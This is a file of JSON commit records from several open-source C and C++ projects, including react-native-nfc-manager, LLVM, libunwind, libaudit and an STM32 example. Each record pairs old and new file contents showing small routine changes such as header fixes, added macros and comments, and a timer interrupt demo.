{"commit":"cdbae732301c430a95c9328f6597f4ecfb26cbb0","old_file":"ios\/NfcManager.h","new_file":"ios\/NfcManager.h","old_contents":"#if __has_include(<React\/RCTBridgeModule.h>)\n#import <React\/RCTBridgeModule.h>\n#import <React\/RCTEventEmitter.h>\n#elif __has_include(“React\/RCTBridgeModule.h”)\n#import “React\/RCTBridgeModule.h”\n#else\n#import “RCTBridgeModule.h”\n#import <React\/RCTEventEmitter.h>\n#endif\n#import <CoreNfc\/CoreNfc.h>\n\n@interface NfcManager : RCTEventEmitter <RCTBridgeModule, NFCNDEFReaderSessionDelegate> {\n\n}\n\n@property (strong, nonatomic) NFCNDEFReaderSession *session;\n\n@end\n","new_contents":"#if __has_include(<React\/RCTBridgeModule.h>)\n#import <React\/RCTBridgeModule.h>\n#import <React\/RCTEventEmitter.h>\n#elif __has_include(“React\/RCTBridgeModule.h”)\n#import “React\/RCTBridgeModule.h”\n#else\n#import “RCTBridgeModule.h”\n#import <React\/RCTEventEmitter.h>\n#endif\n#import <CoreNFC\/CoreNFC.h>\n\n@interface NfcManager : RCTEventEmitter <RCTBridgeModule, NFCNDEFReaderSessionDelegate> {\n\n}\n\n@property (strong, nonatomic) NFCNDEFReaderSession *session;\n\n@end\n","subject":"Fix case-sensitive file import from CoreNfc -> CoreNFC","message":"Fix case-sensitive file import from CoreNfc -> CoreNFC\n","lang":"C","license":"apache-2.0","repos":"whitedogg13\/react-native-nfc-manager,whitedogg13\/react-native-nfc-manager,whitedogg13\/react-native-nfc-manager"}
{"commit":"6ee28d6d3a65a014f4ad9f4454258b4eb5114364","old_file":"machine.h","new_file":"machine.h","old_contents":"#ifndef __MACHINE_H__\n#define __MACHINE_H__\n\n#include <string>\n#include <vector>\n\n#include \"job.h\"\n\nclass Machine\n{\n    public:\n        Machine(const std::string& machine_name);\n        const std::string& get_name() const;\n        void add_job(Job);\n    private:\n        std::string name;\n        std::vector<Job> jobs;\n};\n\n#endif \/* __MACHINE_H__ *\/\n","new_contents":"#ifndef __MACHINE_H__\n#define __MACHINE_H__\n\n#include <string>\n#include <vector>\n\n#include \"job.h\"\n\nclass Machine\n{\n    public:\n        Machine(const std::string& machine_name);\n        const std::string& get_name() const;\n        void add_job(Job new_job);\n    private:\n        std::string name;\n        std::vector<Job> jobs;\n};\n\n#endif \/* __MACHINE_H__ *\/\n","subject":"Add name to add_job param","message":"Add name to add_job param\n","lang":"C","license":"mit","repos":"mattportas\/yejong"}
{"commit":"bb843fdda3313e753959fdcb90332f627a127524","old_file":"inc\/winchar.h","new_file":"inc\/winchar.h","old_contents":"\/\/--------------------------------------------------------------------------\/\/\n\/\/\/ Copyright (c) 2017 by Milos Tosic. All Rights Reserved.                \/\/\/\n\/\/\/ License: http:\/\/www.opensource.org\/licenses\/BSD-2-Clause               \/\/\/\n\/\/--------------------------------------------------------------------------\/\/\n\n#ifndef __RTM_RBASE_WINCHAR_H__\n#define __RTM_RBASE_WINCHAR_H__\n\n#include <rbase\/inc\/platform.h>\n\nnamespace rtm {\n\n#if RTM_PLATFORM_WINDOWS\n\tclass MultiToWide\n\t{\n\t\tstatic const int S_ON_STACK_SIZE = 1024;\n\t\twchar_t\t\tm_string[S_ON_STACK_SIZE];\n\n\tpublic:\n\t\twchar_t*\tm_ptr;\n\n\t\tMultiToWide(const char* _string, bool _path = true);\n\t\t~MultiToWide();\n\t};\n\n\tclass WideToMulti\n\t{\n\t\tstatic const int S_ON_STACK_SIZE = 1024;\n\t\tchar\tm_string[S_ON_STACK_SIZE];\n\n\tpublic:\n\t\tchar*\tm_ptr;\n\n\t\tWideToMulti(const wchar_t* _string);\n\t\t~WideToMulti();\n\t};\n#endif \/\/ RTM_PLATFORM_WINDOWS\n\n} \/\/ namespace rtm\n\n#endif \/\/ __RTM_RBASE_WINCHAR_H__\n","new_contents":"\/\/--------------------------------------------------------------------------\/\/\n\/\/\/ Copyright (c) 2017 by Milos Tosic. All Rights Reserved.                \/\/\/\n\/\/\/ License: http:\/\/www.opensource.org\/licenses\/BSD-2-Clause               \/\/\/\n\/\/--------------------------------------------------------------------------\/\/\n\n#ifndef __RTM_RBASE_WINCHAR_H__\n#define __RTM_RBASE_WINCHAR_H__\n\n#include <rbase\/inc\/platform.h>\n\nnamespace rtm {\n\n#if RTM_PLATFORM_WINDOWS\n\tclass MultiToWide\n\t{\n\t\tstatic const int S_ON_STACK_SIZE = 1024;\n\t\twchar_t\t\tm_string[S_ON_STACK_SIZE];\n\n\tpublic:\n\t\twchar_t*\tm_ptr;\n\n\t\tMultiToWide(const char* _string, bool _path = true);\n\t\t~MultiToWide();\n\t\toperator wchar_t* () { return m_ptr; }\n\t};\n\n\tclass WideToMulti\n\t{\n\t\tstatic const int S_ON_STACK_SIZE = 1024;\n\t\tchar\tm_string[S_ON_STACK_SIZE];\n\n\tpublic:\n\t\tchar*\tm_ptr;\n\n\t\tWideToMulti(const wchar_t* _string);\n\t\t~WideToMulti();\n\t\toperator char* () { return m_ptr; }\n\t};\n#endif \/\/ RTM_PLATFORM_WINDOWS\n\n} \/\/ namespace rtm\n\n#endif \/\/ __RTM_RBASE_WINCHAR_H__\n","subject":"Add (w)char casting operator to windows char classes","message":"Add (w)char casting operator to windows char classes\n","lang":"C","license":"bsd-2-clause","repos":"milostosic\/rbase,milostosic\/rbase"}
{"commit":"2e4e76b70806abf9a37f1a6b3f9ccdb56aa89448","old_file":"include\/llvm\/Transforms\/Utils\/SizeOpts.h","new_file":"include\/llvm\/Transforms\/Utils\/SizeOpts.h","old_contents":"\/\/===- llvm\/Transforms\/Utils\/SizeOpts.h - size optimization -----*- C++ -*-===\/\/\n\/\/\n\/\/ Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n\/\/ See https:\/\/llvm.org\/LICENSE.txt for license information.\n\/\/ SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file contains some shared code size optimization related code.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TRANSFORMS_UTILS_SIZEOPTS_H\n#define LLVM_TRANSFORMS_UTILS_SiZEOPTS_H\n\nnamespace llvm {\n\nclass BasicBlock;\nclass BlockFrequencyInfo;\nclass Function;\nclass ProfileSummaryInfo;\n\n\/\/\/ Returns true if function \\p F is suggested to be size-optimized base on the\n\/\/\/ profile.\nbool shouldOptimizeForSize(Function *F, ProfileSummaryInfo *PSI,\n                           BlockFrequencyInfo *BFI);\n\/\/\/ Returns true if basic block \\p BB is suggested to be size-optimized base\n\/\/\/ on the profile.\nbool shouldOptimizeForSize(BasicBlock *BB, ProfileSummaryInfo *PSI,\n                           BlockFrequencyInfo *BFI);\n\n} \/\/ end namespace llvm\n\n#endif \/\/ LLVM_TRANSFORMS_UTILS_SiZEOPTS_H\n","new_contents":"\/\/===- llvm\/Transforms\/Utils\/SizeOpts.h - size optimization -----*- C++ -*-===\/\/\n\/\/\n\/\/ Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n\/\/ See https:\/\/llvm.org\/LICENSE.txt for license information.\n\/\/ SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file contains some shared code size optimization related code.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_TRANSFORMS_UTILS_SIZEOPTS_H\n#define LLVM_TRANSFORMS_UTILS_SIZEOPTS_H\n\nnamespace llvm {\n\nclass BasicBlock;\nclass BlockFrequencyInfo;\nclass Function;\nclass ProfileSummaryInfo;\n\n\/\/\/ Returns true if function \\p F is suggested to be size-optimized base on the\n\/\/\/ profile.\nbool shouldOptimizeForSize(Function *F, ProfileSummaryInfo *PSI,\n                           BlockFrequencyInfo *BFI);\n\/\/\/ Returns true if basic block \\p BB is suggested to be size-optimized base\n\/\/\/ on the profile.\nbool shouldOptimizeForSize(BasicBlock *BB, ProfileSummaryInfo *PSI,\n                           BlockFrequencyInfo *BFI);\n\n} \/\/ end namespace llvm\n\n#endif \/\/ LLVM_TRANSFORMS_UTILS_SIZEOPTS_H\n","subject":"Fix header guard typo and build error.","message":"Fix header guard typo and build error.\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@358429 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm"}
{"commit":"dc258e02720308981a4f8a2e4848c582c1b71123","old_file":"l4common.h","new_file":"l4common.h","old_contents":"#ifndef LBS_COMMON_H\n#define LBS_COMMON_H\n\n#include <stddef.h>\n\n#ifdef __STDC_VERSION__\n# include <stdbool.h>\n# if __STDC_VERSION__ >= 201112L\n#  define LBS_COMMON_ISO_C11\n#  define LBS_COMMON_CHECK_TYPE(x,type) (_Generic ((x), type: (x)))\n# else\n#  define LBS_COMMON_ISO_C99\n#  define LBS_COMMON_CHECK_TYPE(x,type) (x)\n# endif\n#else\n# define bool  char\n# define true  1\n# define false 0\n# define LBS_COMMON_ISO_C89\n# define LBS_COMMON_CHECK_TYPE(x,type) (x)\n#endif \/* __STDC_VERSION__ *\/\n\n#define LBS_COMMON_NULL_PTR ((void*)NULL)\n\n#endif \/* LBS_COMMON_H *\/\n","new_contents":"#ifndef LBS_COMMON_H\n#define LBS_COMMON_H\n\n#include <stddef.h>\n\n#ifdef __STDC_VERSION__\n# include <stdbool.h>\n# if __STDC_VERSION__ >= 201112L\n#  define LBS_COMMON_ISO_C11\n#  define LBS_COMMON_CHECK_TYPE(x,type) (_Generic ((x), type: (x)))\n# else\n#  define LBS_COMMON_ISO_C99\n#  define LBS_COMMON_CHECK_TYPE(x,type) (x)\n# endif\n#else\n# define bool  char\n# define true  1\n# define false 0\n# define inline\n# define LBS_COMMON_ISO_C89\n# define LBS_COMMON_CHECK_TYPE(x,type) (x)\n#endif \/* __STDC_VERSION__ *\/\n\n#define LBS_COMMON_NULL_PTR ((void*)NULL)\n#define LBS_COMMON_DEFINE_GETTER(ns,xt,m,mt) \\\n    static inline mt ns ## _get_ ## m (xt x) { \\\n        return x->m; \\\n    }\n#define LBS_COMMON_DEFINE_SETTER(ns,xt,m,mt) \\\n    static inline void ns ## _set_ ## m (xt x, mt v) { \\\n        x->m = v; \\\n    }\n\n#endif \/* LBS_COMMON_H *\/\n","subject":"Add macros to define getters and setters","message":"Add macros to define getters and setters\n","lang":"C","license":"bsd-3-clause","repos":"lantw44\/l4basic,lantw44\/l4basic"}
{"commit":"35cd59f259b7058758f70b1ad5b679191e6fc116","old_file":"src\/shift_objective.c","new_file":"src\/shift_objective.c","old_contents":"","new_contents":"#include <assert.h>\n#include <numbbo.h>\n\n#include \"numbbo_problem.c\"\n\ntypedef struct {\n    double amount;\n} shift_objective_state_t;\n\nstatic void _so_evaluate_function(numbbo_problem_t *self, double *x, double *y) {\n    assert(problem->inner_problem != NULL);\n    assert(problem->state != NULL);\n    numbbo_transformed_problem_t *problem = (numbbo_transformed_problem_t *)self;\n    shift_objective_state_t *state = (shift_objective_state_t *)self->state;\n    numbbo_evaluate_function(problem->inner_problem, x, y);\n    y[0] += state->amount;\n}\n\n\/* Shift the returned objective value of ${inner_problem} by ${amount}. \n *\/\nnumbbo_problem_t *shift_objective(const numbbo_problem_t *inner_problem,\n                                      const double amount) {\n    numbbo_transformed_problem_t *problem =\n        numbbo_allocate_transformed_problem(inner_problem);\n    shift_objective_state_t *state = numbbo_allocate_memory(sizeof(*state));\n    state->amount = amount;\n    problem->state = state;\n    problem->evaluate_function = _so_evaluate_function;\n    return problem;\n}\n","subject":"Add problem transformation to shift the objective.","message":"Add problem transformation to shift the objective.\n","lang":"C","license":"bsd-3-clause","repos":"oaelhara\/numbbo,oaelhara\/numbbo,NDManh\/numbbo,dtusar\/coco,NDManh\/numbbo,oaelhara\/numbbo,dtusar\/coco,NDManh\/numbbo,oaelhara\/numbbo,oaelhara\/numbbo,NDManh\/numbbo,oaelhara\/numbbo,dtusar\/coco,NDManh\/numbbo,oaelhara\/numbbo,dtusar\/coco,oaelhara\/numbbo,NDManh\/numbbo,dtusar\/coco,dtusar\/coco,NDManh\/numbbo,dtusar\/coco,dtusar\/coco,NDManh\/numbbo,dtusar\/coco,NDManh\/numbbo,oaelhara\/numbbo"}
{"commit":"0e05d29e104107803c23e5be217bd6ed497c2b2f","old_file":"src\/test\/slist_test.c","new_file":"src\/test\/slist_test.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <string.h>\n#include \"ausearch-string.h\"\n\nslist s;\n\nint print_list(void)\n{\n\tint cnt = 0;\n\tslist_first(&s);\n\tdo {\n\t\tsnode *cur = slist_get_cur(&s);\n\t\tif (cur) {\n\t\t\tcnt++;\n\t\t\tprintf(\"%s\\n\", cur->str);\n\t\t}\n\t} while (slist_next(&s));\n\treturn cnt;\n}\n\nint main(void)\n{\n\tsnode n;\n\tint rc;\n\n\tslist_create(&s);\n\tslist_add_if_uniq(&s, \"test1\");\n\tslist_add_if_uniq(&s, \"test2\");\n\tslist_first(&s);\n\tslist_add_if_uniq(&s, \"test3\");\n\tputs(\"should be 3\");\n\trc = print_list();\n\tif (s.cnt != 3 || rc !=3) {\n\t\tputs(\"test count is wrong\");\n\t\treturn 1;\n\t}\n\n\tn.str = strdup(\"test4\");\n\tn.key = NULL;\n\tn.hits = 1;\n\tslist_append(&s, &n);\n\tputs(\"should add a #4\");\n\trc = print_list();\n\tif (s.cnt != 4 || rc != 4) {\n\t\tputs(\"test count is wrong\");\n\t\treturn 1;\n\t}\n\n\tslist_add_if_uniq(&s, \"test2\");\n\tputs(\"should be same\");\n\trc = print_list();\n\tif (s.cnt != 4 || rc != 4) {\n\t\tputs(\"test count is wrong\");\n\t\treturn 1;\n\t}\n\n\tslist_clear(&s);\n\tputs(\"should be empty\");\n\trc = print_list();\t\n\tif (s.cnt != 0 || rc != 0) {\n\t\tputs(\"test count is wrong\");\n\t\treturn 1;\n\t}\n\treturn 0;\n}\n\n","subject":"Add the test program, too","message":"Add the test program, too\n\n\ngit-svn-id: b2ed898cf2cd3316b62ee1cc50465f4560571194@982 03a675c2-f56d-4096-908f-63dba836b7e4\n","lang":"C","license":"lgpl-2.1","repos":"yubo\/audit,yubo\/audit,yubo\/audit,yubo\/audit,yubo\/audit"}
{"commit":"ecb1728e6880e9368cc9bbd4ba3a82b47456152a","old_file":"client_encoder\/client_encoder_base.h","new_file":"client_encoder\/client_encoder_base.h","old_contents":"\/\/ Copyright (c) 2011 The WebM project authors. All Rights Reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license\n\/\/ that can be found in the LICENSE file in the root of the source\n\/\/ tree. An additional intellectual property rights grant can be found\n\/\/ in the file PATENTS.  All contributing project authors may\n\/\/ be found in the AUTHORS file in the root of the source tree.\n#ifndef CLIENT_ENCODER_CLIENT_ENCODER_BASE_H_\n#define CLIENT_ENCODER_CLIENT_ENCODER_BASE_H_\n\n#if _WIN32\n\n#ifndef _WIN32_WINNT\n#  define _WIN32_WINNT 0x0501  \/\/ WinXP\n#endif\n\n#include <windows.h>\n#ifdef ERROR\n#  undef ERROR  \/\/ unused by webmlive\/collides with glog.\n#endif\n\n#endif  \/\/ _WIN32\n\n#endif  \/\/ CLIENT_ENCODER_CLIENT_ENCODER_BASE_H_\n","new_contents":"\/\/ Copyright (c) 2011 The WebM project authors. All Rights Reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license\n\/\/ that can be found in the LICENSE file in the root of the source\n\/\/ tree. An additional intellectual property rights grant can be found\n\/\/ in the file PATENTS.  All contributing project authors may\n\/\/ be found in the AUTHORS file in the root of the source tree.\n#ifndef CLIENT_ENCODER_CLIENT_ENCODER_BASE_H_\n#define CLIENT_ENCODER_CLIENT_ENCODER_BASE_H_\n\n#if _WIN32\n\n#ifndef _WIN32_WINNT\n#  define _WIN32_WINNT 0x0501  \/\/ WinXP\n#endif\n\n#include <windows.h>\n#ifdef ERROR\n#  undef ERROR  \/\/ unused by webmlive\/collides with glog.\n#endif\n\n#endif  \/\/ _WIN32\n\n\/\/ App Version\/Identity\nnamespace webmlive {\n\nstatic const char* kClientName = \"webmlive client encoder\";\nstatic const char* kClientVersion = \"0.0.2.0\";\n\n}  \/\/ namespace webmlive\n\n#endif  \/\/ CLIENT_ENCODER_CLIENT_ENCODER_BASE_H_\n","subject":"Add client name and version constants.","message":"Add client name and version constants.\n\nChange-Id: Ic5aeafb91ebb9d04ca89679512d3088c612f84e1\n","lang":"C","license":"bsd-3-clause","repos":"kleopatra999\/webm.webmlive,kalli123\/webm.webmlive,gshORTON\/webm.webmlive,reimaginemedia\/webm.webmlive,ericmckean\/webm.webmlive,kim42083\/webm.webmlive,ericmckean\/webm.webmlive,Acidburn0zzz\/webm.webmlive,Maria1099\/webm.webmlive,abwiz0086\/webm.webmlive,kleopatra999\/webm.webmlive,Acidburn0zzz\/webm.webmlive,felipebetancur\/webmlive,ericmckean\/webm.webmlive,iniwf\/webm.webmlive,Acidburn0zzz\/webm.webmlive,kalli123\/webm.webmlive,kalli123\/webm.webmlive,gshORTON\/webm.webmlive,reimaginemedia\/webm.webmlive,Maria1099\/webm.webmlive,felipebetancur\/webmlive,webmproject\/webmlive,matanbs\/webm.webmlive,iniwf\/webm.webmlive,Acidburn0zzz\/webm.webmlive,gshORTON\/webm.webmlive,matanbs\/webm.webmlive,webmproject\/webmlive,reimaginemedia\/webm.webmlive,felipebetancur\/webmlive,altogother\/webm.webmlive,kleopatra999\/webm.webmlive,kalli123\/webm.webmlive,iniwf\/webm.webmlive,Suvarna1488\/webm.webmlive,reimaginemedia\/webm.webmlive,webmproject\/webmlive,iniwf\/webm.webmlive,Suvarna1488\/webm.webmlive,kim42083\/webm.webmlive,abwiz0086\/webm.webmlive,felipebetancur\/webmlive,felipebetancur\/webmlive,ericmckean\/webm.webmlive,altogother\/webm.webmlive,kim42083\/webm.webmlive,altogother\/webm.webmlive,gshORTON\/webm.webmlive,kim42083\/webm.webmlive,Maria1099\/webm.webmlive,abwiz0086\/webm.webmlive,abwiz0086\/webm.webmlive,webmproject\/webmlive,webmproject\/webmlive,altogother\/webm.webmlive,kleopatra999\/webm.webmlive,Suvarna1488\/webm.webmlive,matanbs\/webm.webmlive,matanbs\/webm.webmlive,Suvarna1488\/webm.webmlive,Maria1099\/webm.webmlive"}
{"commit":"cb8d20c0988384fd67ed46bc6bdc5b5c3073c63a","old_file":"src\/x86\/regname-x86.c","new_file":"src\/x86\/regname-x86.c","old_contents":"","new_contents":"#include \"unwind_i.h\"\n\nstatic const char *regname[] =\n  {\n    \"eax\", \"ebx\", \"ecx\", \"edx\", \"esi\", \"edi\", \"ebp\", \"eip\", \"esp\"\n  };\n\nconst char *\nunw_regname (unw_regnum_t reg)\n{\n  if (reg < NELEMS (regname))\n    return regname[reg];\n  else\n    return \"???\";\n}\n","subject":"Use NELEMS() instead of open code.","message":"(unw_regname): Use NELEMS() instead of open code.\n\n(Logical change 1.39)\n","lang":"C","license":"mit","repos":"unkadoug\/libunwind,atanasyan\/libunwind,androidarmv6\/android_external_libunwind,vtjnash\/libunwind,mpercy\/libunwind,maltek\/platform_external_libunwind,atanasyan\/libunwind,martyone\/libunwind,frida\/libunwind,jrmuizel\/libunwind,fillexen\/libunwind,android-ia\/platform_external_libunwind,geekboxzone\/lollipop_external_libunwind,bo-on-software\/libunwind,cloudius-systems\/libunwind,yuyichao\/libunwind,androidarmv6\/android_external_libunwind,tony\/libunwind,wdv4758h\/libunwind,maltek\/platform_external_libunwind,wdv4758h\/libunwind,tkelman\/libunwind,tony\/libunwind,evaautomation\/libunwind,ehsan\/libunwind,adsharma\/libunwind,tkelman\/libunwind,atanasyan\/libunwind-android,jrmuizel\/libunwind,SyndicateRogue\/libunwind,libunwind\/libunwind,ehsan\/libunwind,project-zerus\/libunwind,DroidSim\/platform_external_libunwind,cms-externals\/libunwind,dropbox\/libunwind,Keno\/libunwind,lat\/libunwind,fdoray\/libunwind,dreal-deps\/libunwind,rantala\/libunwind,lat\/libunwind,geekboxzone\/lollipop_external_libunwind,tkelman\/libunwind,fillexen\/libunwind,igprof\/libunwind,lat\/libunwind,wdv4758h\/libunwind,evaautomation\/libunwind,rogwfu\/libunwind,olibc\/libunwind,ehsan\/libunwind,atanasyan\/libunwind-android,unkadoug\/libunwind,dagar\/libunwind,rantala\/libunwind,Chilledheart\/libunwind,project-zerus\/libunwind,atanasyan\/libunwind-android,dreal-deps\/libunwind,dagar\/libunwind,0xlab\/0xdroid-external_libunwind,martyone\/libunwind,geekboxzone\/mmallow_external_libunwind,mpercy\/libunwind,frida\/libunwind,joyent\/libunwind,jrmuizel\/libunwind,vtjnash\/libunwind,dropbox\/libunwind,pathscale\/libunwind,yuyichao\/libunwind,CyanogenMod\/android_external_libunwind,bo-on-software\/libunwind,tronical\/libunwind,joyent\/libunwind,maltek\/platform_external_libunwind,project-zerus\/libunwind,cloudius-systems\/libunwind,rantala\/libunwind,igprof\/libunwind,fdoray\/libunwind,bo-on-software\/libunwind,frida\/libunwind,adsharma\/libunwind,martyone\/libunwind,DroidSim\/platform_external_libunwind,olibc\/libunwind,atanasyan\/libunwind,krytarowski\/libunwind,zliu2014\/libunwind-tilegx,djwatson\/libunwind,vegard\/libunwind,CyanogenMod\/android_external_libunwind,0xlab\/0xdroid-external_libunwind,SyndicateRogue\/libunwind,Keno\/libunwind,dreal-deps\/libunwind,android-ia\/platform_external_libunwind,dropbox\/libunwind,krytarowski\/libunwind,dagar\/libunwind,CyanogenMod\/android_external_libunwind,cms-externals\/libunwind,vegard\/libunwind,fillexen\/libunwind,tony\/libunwind,vegard\/libunwind,adsharma\/libunwind,zeldin\/platform_external_libunwind,zeldin\/platform_external_libunwind,rntz\/libunwind,geekboxzone\/lollipop_external_libunwind,tronical\/libunwind,Keno\/libunwind,zliu2014\/libunwind-tilegx,evaautomation\/libunwind,zeldin\/platform_external_libunwind,djwatson\/libunwind,DroidSim\/platform_external_libunwind,djwatson\/libunwind,geekboxzone\/mmallow_external_libunwind,rogwfu\/libunwind,rntz\/libunwind,Chilledheart\/libunwind,0xlab\/0xdroid-external_libunwind,cms-externals\/libunwind,fdoray\/libunwind,rogwfu\/libunwind,androidarmv6\/android_external_libunwind,geekboxzone\/mmallow_external_libunwind,mpercy\/libunwind,unkadoug\/libunwind,Chilledheart\/libunwind,zliu2014\/libunwind-tilegx,yuyichao\/libunwind,rntz\/libunwind,pathscale\/libunwind,cloudius-systems\/libunwind,vtjnash\/libunwind,joyent\/libunwind,android-ia\/platform_external_libunwind,olibc\/libunwind,pathscale\/libunwind,krytarowski\/libunwind,libunwind\/libunwind,libunwind\/libunwind,tronical\/libunwind,SyndicateRogue\/libunwind,igprof\/libunwind"}
{"commit":"3e94540ea6dba904c4025b2773a4f7b288ad4174","old_file":"polygon.h","new_file":"polygon.h","old_contents":"\/** Author : Paul TREHIOU & Victor SENE\n *  Date : November 2014\n **\/\n\n\/**\n *\n *\n *\/\n\n typedef struct\n {\n \tfloat x;\n \tfloat y;\n }Point;\n\n \/**\n  * Function wich create a point with a specified abscisse and ordinate\n  * abscisse - real\n  * ordinate - real\n  * return a new point\n  *\/\n\n","new_contents":"\/** Author : Paul TREHIOU & Victor SENE\n *  Date : November 2014\n **\/\n\n\/**\n * Declaration Point structure\n * x - real wich is the abscisse of the point\n * y - real wich is the ordinate of the point\n *\/\n typedef struct\n {\n \tfloat x;\n \tfloat y;\n }Point;\n\n \/**\n  * Function wich create a point with a specified abscisse and ordinate\n  * abscisse - real\n  * ordinate - real\n  * return a new point\n  *\/\n\n","subject":"Add comment for struc Point definition","message":"Add comment for struc Point definition\n","lang":"C","license":"mit","repos":"UTBroM\/GeometricLib"}
{"commit":"0476f5a59b5285fa625089167ef3b373525060b8","old_file":"src\/libreset\/util\/macros.h","new_file":"src\/libreset\/util\/macros.h","old_contents":"#ifndef __MACROS_H__\n#define __MACROS_H__\n\n\/**\n * @file macros.h\n *\n * This file contains simple helper macros\n *\/\n\n\/**\n * @addtogroup internal_util_helper_macros \"(internal) helper macros\"\n *\n * This group contains helper macros for internal use only.\n *\n * @{\n *\/\n\n\/**\n * Computes the maximum value of the two passed values\n *\n * @note Provides compile-time type checking by using temp variables before\n * doing the comparison.\n *\n * @note Opens own scope, so the temp variables do not show up outside of the\n * macro.\n *\/\n#define MAX(x,y)                    \\\n       ({ __typeof__ (x) _x = (x);  \\\n          __typeof__ (y) _y = (y);  \\\n          _x > _y ? _x : _y; })\n\n\/**\n * Computes the minimum value of the two passed values\n *\n * @note Provides compile-time type checking by using temp variables before\n * doing the comparison.\n *\n * @note Opens own scope, so the temp variables do not show up outside of the\n * macro.\n *\/\n#define MIN(x,y)                    \\\n       ({ __typeof__ (x) _x = (x);  \\\n          __typeof__ (y) _y = (y);  \\\n          _x < _y ? _x : _y; })\n\n\/** @} *\/\n\n#endif \/\/__MACROS_H__\n","new_contents":"#ifndef __MACROS_H__\n#define __MACROS_H__\n\n\/**\n * @file macros.h\n *\n * This file contains simple helper macros\n *\/\n\n\/**\n * @addtogroup internal_util_helper_macros \"(internal) helper macros\"\n *\n * This group contains helper macros for internal use only.\n *\n * @{\n *\/\n\n\/**\n * Computes the maximum value of the two passed values\n *\n * @note Provides compile-time type checking by using temp variables before\n * doing the comparison.\n *\n * @note Opens own scope, so the temp variables do not show up outside of the\n * macro.\n *\/\n#define MAX(x,y)                                    \\\n        ((__typeof__(x)) x > (__typeof__(x)) y ?    \\\n         (__typeof__(x)) x : (__typeof__(x)) y)\n\n\/**\n * Computes the minimum value of the two passed values\n *\n * @note Provides compile-time type checking by using temp variables before\n * doing the comparison.\n *\n * @note Opens own scope, so the temp variables do not show up outside of the\n * macro.\n *\/\n#define MIN(x,y)                    \\\n       ({ __typeof__ (x) _x = (x);  \\\n          __typeof__ (y) _y = (y);  \\\n          _x < _y ? _x : _y; })\n\n\/** @} *\/\n\n#endif \/\/__MACROS_H__\n","subject":"Modify MAX(x,y) to not contain a scope","message":"Modify MAX(x,y) to not contain a scope\n","lang":"C","license":"lgpl-2.1","repos":"waysome\/libreset,waysome\/libreset"}
{"commit":"83574cf0148dce723370e026f78e15c60ee94dec","old_file":"4_TimersBasicCountdown.c","new_file":"4_TimersBasicCountdown.c","old_contents":"","new_contents":"\/*\n * main.c\n *\n *  Created on: 2 Nov 2016\n *      Author: rafpe\n *\/\n#include \"stm32f4xx.h\"\n#include \"stm32f407xx.h\"\n\n\n\n\nint main(void)\n{\n\tvolatile uint32_t delay;\n\n\tRCC->AHB1ENR |= RCC_AHB1ENR_GPIODEN | RCC_AHB1ENR_GPIOCEN; \t\/\/ enable the clock to GPIOD & GPIOC\n\tRCC->APB2ENR |= RCC_APB2ENR_SYSCFGEN | RCC_APB2ENR_TIM1EN;  \/\/ enable SYSCFG for external interrupts & TIM1\n\n\t__DSB();\t\t\t\t\t\t\t\t\/\/ Data Synchronization Barrier\n\n\tTIM1->PSC = 15999;\t\t\t\t\t\t\/\/ Prescaler we want to be using 16Mhz\/16000 = 1000Hz = 1ms\n\tTIM1->ARR = 499;\t\t\t\t\t\t\/\/ How many values we will count\n\tTIM1->DIER = TIM_DIER_UIE;\t\t\t\t\/\/ Update Event Interrupt\n\tTIM1->CR1 = TIM_CR1_CEN;\t\t\t\t\/\/ Enable & Start timer\n\n\tNVIC_EnableIRQ(TIM1_UP_TIM10_IRQn);\t\t\/\/ Set up interrupt handler\n\n\tGPIOD->MODER = (1 << 26); \t\t\t\t\/\/ PIND to output mode\n\n\n\n\twhile (1)\n\t{\n\n\t} \/* while *\/\n\n\n} \/* main *\/\n\n\n\nvoid TIM1_UP_TIM10_IRQHandler(void)\n{\n\tif (TIM1->SR & TIM_SR_UIF)\n\t{\n\t\tGPIOD->ODR ^= (1 << 13);\t\/\/ Blink\n\n\t\tTIM1->SR = ~TIM_SR_UIF;\t\t\/\/ clear flag - rc_w0 => Read Clear Write 0\n\t}\n}\n\n\n","subject":"Add basis use of timers","message":"Add basis use of timers\n","lang":"C","license":"apache-2.0","repos":"RafPe\/STM32F407VGTx-examples"}
